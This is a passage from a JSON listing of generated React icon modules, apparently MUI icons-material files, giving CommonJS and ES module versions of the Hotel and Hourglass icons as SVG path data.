    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13c1.66 0 3-1.34 3-3S8.66 7 7 7s-3 1.34-3 3 1.34 3 3 3m12-6h-6c-1.1 0-2 .9-2 2v5H3V6c0-.55-.45-1-1-1s-1 .45-1 1v13c0 .55.45 1 1 1s1-.45 1-1v-2h18v2c0 .55.45 1 1 1s1-.45 1-1v-8c0-2.21-1.79-4-4-4\"\n}), 'HotelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13c1.66 0 3-1.34 3-3S8.66 7 7 7s-3 1.34-3 3 1.34 3 3 3m16-6H11v7H3V5H1v15h2v-3h18v3h2z\"\n}), 'HotelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13c1.66 0 3-1.34 3-3S8.66 7 7 7s-3 1.34-3 3 1.34 3 3 3m16-6H11v7H3V5H1v15h2v-3h18v3h2z\"\n}), 'HotelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-6v6h8v-4c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"11\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m11-4h-8v8H3V5H1v15h2v-3h18v3h2v-9c0-2.21-1.79-4-4-4m2 8h-8V9h6c1.1 0 2 .9 2 2z\"\n}, \"2\")], 'HotelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-6v6h8v-4c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"11\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m11-4h-8v8H3V5H1v15h2v-3h18v3h2v-9c0-2.21-1.79-4-4-4m2 8h-8V9h6c1.1 0 2 .9 2 2z\"\n}, \"2\")], 'HotelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassBottom.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 22-.01-6L14 12l3.99-4.01L18 2H6v6l4 4-4 3.99V22zM8 7.5V4h8v3.5l-4 4z\"\n}), 'HourglassBottom');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassBottom.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 22-.01-6L14 12l3.99-4.01L18 2H6v6l4 4-4 3.99V22zM8 7.5V4h8v3.5l-4 4z\"\n}), 'HourglassBottom');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassBottomOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 22-.01-6L14 12l3.99-4.01L18 2H6v6l4 4-4 3.99V22zM8 7.5V4h8v3.5l-4 4z\"\n}), 'HourglassBottomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassBottomOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 22-.01-6L14 12l3.99-4.01L18 2H6v6l4 4-4 3.99V22zM8 7.5V4h8v3.5l-4 4z\"\n}), 'HourglassBottomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassBottomRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 22c1.1 0 2-.9 2-2l-.01-3.18c0-.53-.21-1.03-.58-1.41L14 12l3.41-3.43c.37-.37.58-.88.58-1.41L18 4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3.16c0 .53.21 1.04.58 1.42L10 12l-3.41 3.4c-.38.38-.59.89-.59 1.42V20c0 1.1.9 2 2 2zM8 7.09V5c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v2.09c0 .27-.11.52-.29.71L12 11.5 8.29 7.79c-.18-.18-.29-.44-.29-.7\"\n}), 'HourglassBottomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassBottomRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 22c1.1 0 2-.9 2-2l-.01-3.18c0-.53-.21-1.03-.58-1.41L14 12l3.41-3.43c.37-.37.58-.88.58-1.41L18 4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3.16c0 .53.21 1.04.58 1.42L10 12l-3.41 3.4c-.38.38-.59.89-.59 1.42V20c0 1.1.9 2 2 2zM8 7.09V5c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v2.09c0 .27-.11.52-.29.71L12 11.5 8.29 7.79c-.18-.18-.29-.44-.29-.7\"\n}), 'HourglassBottomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassBottomSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 22-.01-6L14 12l3.99-4.01L18 2H6v6l4 4-4 3.99V22zM8 7.5V4h8v3.5l-4 4z\"\n}), 'HourglassBottomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassBottomSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 22-.01-6L14 12l3.99-4.01L18 2H6v6l4 4-4 3.99V22zM8 7.5V4h8v3.5l-4 4z\"\n}), 'HourglassBottomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassBottomTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 16.5-4-4-4 4V20h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 16.5-4-4-4 4V20h8z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 22h12v-6l-4-4 3.99-4.01L18 2H6l.01 5.99L10 12l-4 3.99zM8 7.5V4h8v3.5l-4 4zm0 9 4-4 4 4V20H8z\"\n}, \"2\")], 'HourglassBottomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassBottomTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 16.5-4-4-4 4V20h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 16.5-4-4-4 4V20h8z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 22h12v-6l-4-4 3.99-4.01L18 2H6l.01 5.99L10 12l-4 3.99zM8 7.5V4h8v3.5l-4 4zm0 9 4-4 4 4V20H8z\"\n}, \"2\")], 'HourglassBottomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassDisabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4h8v3.5l-2.84 2.84 1.25 1.25L18 8.01 17.99 8H18V2H6v1.17l2 2zM2.1 2.1.69 3.51l8.9 8.9L6 16l.01.01H6V22h12v-1.17l2.49 2.49 1.41-1.41zM16 20H8v-3.5l2.84-2.84L16 18.83z\"\n}), 'HourglassDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassDisabled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4h8v3.5l-2.84 2.84 1.25 1.25L18 8.01 17.99 8H18V2H6v1.17l2 2zM2.1 2.1.69 3.51l8.9 8.9L6 16l.01.01H6V22h12v-1.17l2.49 2.49 1.41-1.41zM16 20H8v-3.5l2.84-2.84L16 18.83z\"\n}), 'HourglassDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4h8v3.5l-2.84 2.84 1.25 1.25L18 8.01 17.99 8H18V2H6v1.17l2 2zM2.1 2.1.69 3.51l8.9 8.9L6 16l.01.01H6V22h12v-1.17l2.49 2.49 1.41-1.41zM16 20H8v-3.5l2.84-2.84L16 18.83z\"\n}), 'HourglassDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4h8v3.5l-2.84 2.84 1.25 1.25L18 8.01 17.99 8H18V2H6v1.17l2 2zM2.1 2.1.69 3.51l8.9 8.9L6 16l.01.01H6V22h12v-1.17l2.49 2.49 1.41-1.41zM16 20H8v-3.5l2.84-2.84L16 18.83z\"\n}), 'HourglassDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81a.996.996 0 0 0-1.41 0C1 3.2 1 3.83 1.39 4.22l8.19 8.19-3 3.01c-.37.38-.58.89-.58 1.42V20c0 1.1.9 2 2 2h8c.86 0 1.58-.54 1.87-1.3l1.91 1.91c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM16 19c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-2.5l2.84-2.84L16 18.83zM8 5c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v2.5l-2.84 2.84 1.25 1.25 3-2.99c.38-.38.59-.89.59-1.42V4c0-1.11-.9-2-2-2H8c-.86 0-1.58.54-1.87 1.3L8 5.17z\"\n}), 'HourglassDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81a.996.996 0 0 0-1.41 0C1 3.2 1 3.83 1.39 4.22l8.19 8.19-3 3.01c-.37.38-.58.89-.58 1.42V20c0 1.1.9 2 2 2h8c.86 0 1.58-.54 1.87-1.3l1.91 1.91c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM16 19c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-2.5l2.84-2.84L16 18.83zM8 5c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v2.5l-2.84 2.84 1.25 1.25 3-2.99c.38-.38.59-.89.59-1.42V4c0-1.11-.9-2-2-2H8c-.86 0-1.58.54-1.87 1.3L8 5.17z\"\n}), 'HourglassDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4h8v3.5l-2.84 2.84 1.25 1.25L18 8.01 17.99 8H18V2H6v1.17l2 2zM2.1 2.1.69 3.51l8.9 8.9L6 16l.01.01H6V22h12v-1.17l2.49 2.49 1.41-1.41zM16 20H8v-3.5l2.84-2.84L16 18.83z\"\n}), 'HourglassDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4h8v3.5l-2.84 2.84 1.25 1.25L18 8.01 17.99 8H18V2H6v1.17l2 2zM2.1 2.1.69 3.51l8.9 8.9L6 16l.01.01H6V22h12v-1.17l2.49 2.49 1.41-1.41zM16 20H8v-3.5l2.84-2.84L16 18.83z\"\n}), 'HourglassDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4h8v3.5l-2.84 2.84 1.25 1.25L18 8.01 17.99 8H18V2H6v1.17l2 2zM2.1 2.1.69 3.51l8.9 8.9L6 16l.01.01H6V22h12v-1.17l2.49 2.49 1.41-1.41zM16 20H8v-3.5l2.84-2.84L16 18.83z\"\n}), 'HourglassDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassDisabledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4h8v3.5l-2.84 2.84 1.25 1.25L18 8.01 17.99 8H18V2H6v1.17l2 2zM2.1 2.1.69 3.51l8.9 8.9L6 16l.01.01H6V22h12v-1.17l2.49 2.49 1.41-1.41zM16 20H8v-3.5l2.84-2.84L16 18.83z\"\n}), 'HourglassDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassEmpty.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18V2zm10 14.5V20H8v-3.5l4-4zm-4-5-4-4V4h8v3.5z\"\n}), 'HourglassEmpty');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassEmpty.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18V2zm10 14.5V20H8v-3.5l4-4zm-4-5-4-4V4h8v3.5z\"\n}), 'HourglassEmpty');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassEmptyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18V2zm10 14.5V20H8v-3.5l4-4zm-4-5-4-4V4h8v3.5z\"\n}), 'HourglassEmptyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassEmptyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18V2zm10 14.5V20H8v-3.5l4-4zm-4-5-4-4V4h8v3.5z\"\n}), 'HourglassEmptyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassEmptyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 2c-1.1 0-2 .9-2 2v3.17c0 .53.21 1.04.59 1.42L10 12l-3.42 3.42c-.37.38-.58.89-.58 1.42V20c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-3.16c0-.53-.21-1.04-.58-1.41L14 12l3.41-3.4c.38-.38.59-.89.59-1.42V4c0-1.1-.9-2-2-2zm8 14.5V19c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-2.5l4-4zm-4-5-4-4V5c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v2.5z\"\n}), 'HourglassEmptyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassEmptyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 2c-1.1 0-2 .9-2 2v3.17c0 .53.21 1.04.59 1.42L10 12l-3.42 3.42c-.37.38-.58.89-.58 1.42V20c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-3.16c0-.53-.21-1.04-.58-1.41L14 12l3.41-3.4c.38-.38.59-.89.59-1.42V4c0-1.1-.9-2-2-2zm8 14.5V19c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-2.5l4-4zm-4-5-4-4V5c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v2.5z\"\n}), 'HourglassEmptyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassEmptySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18V2zm10 14.5V20H8v-3.5l4-4zm-4-5-4-4V4h8v3.5z\"\n}), 'HourglassEmptySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassEmptySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18V2zm10 14.5V20H8v-3.5l4-4zm-4-5-4-4V4h8v3.5z\"\n}), 'HourglassEmptySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassEmptyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18zm-2 14.5V20H8v-3.5l4-4zm0-9-4 4-4-4V4h8z\"\n}), 'HourglassEmptyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassEmptyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18zm-2 14.5V20H8v-3.5l4-4zm0-9-4 4-4-4V4h8z\"\n}), 'HourglassEmptyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassFull.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18V2z\"\n}), 'HourglassFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassFull.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18V2z\"\n}), 'HourglassFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassFullOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2v6h.01L6 8.01 10 12l-4 4 .01.01H6V22h12v-5.99h-.01L18 16l-4-4 4-3.99-.01-.01H18V2z\"\n}), 'HourglassFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HourglassFullOutlined.mjs",
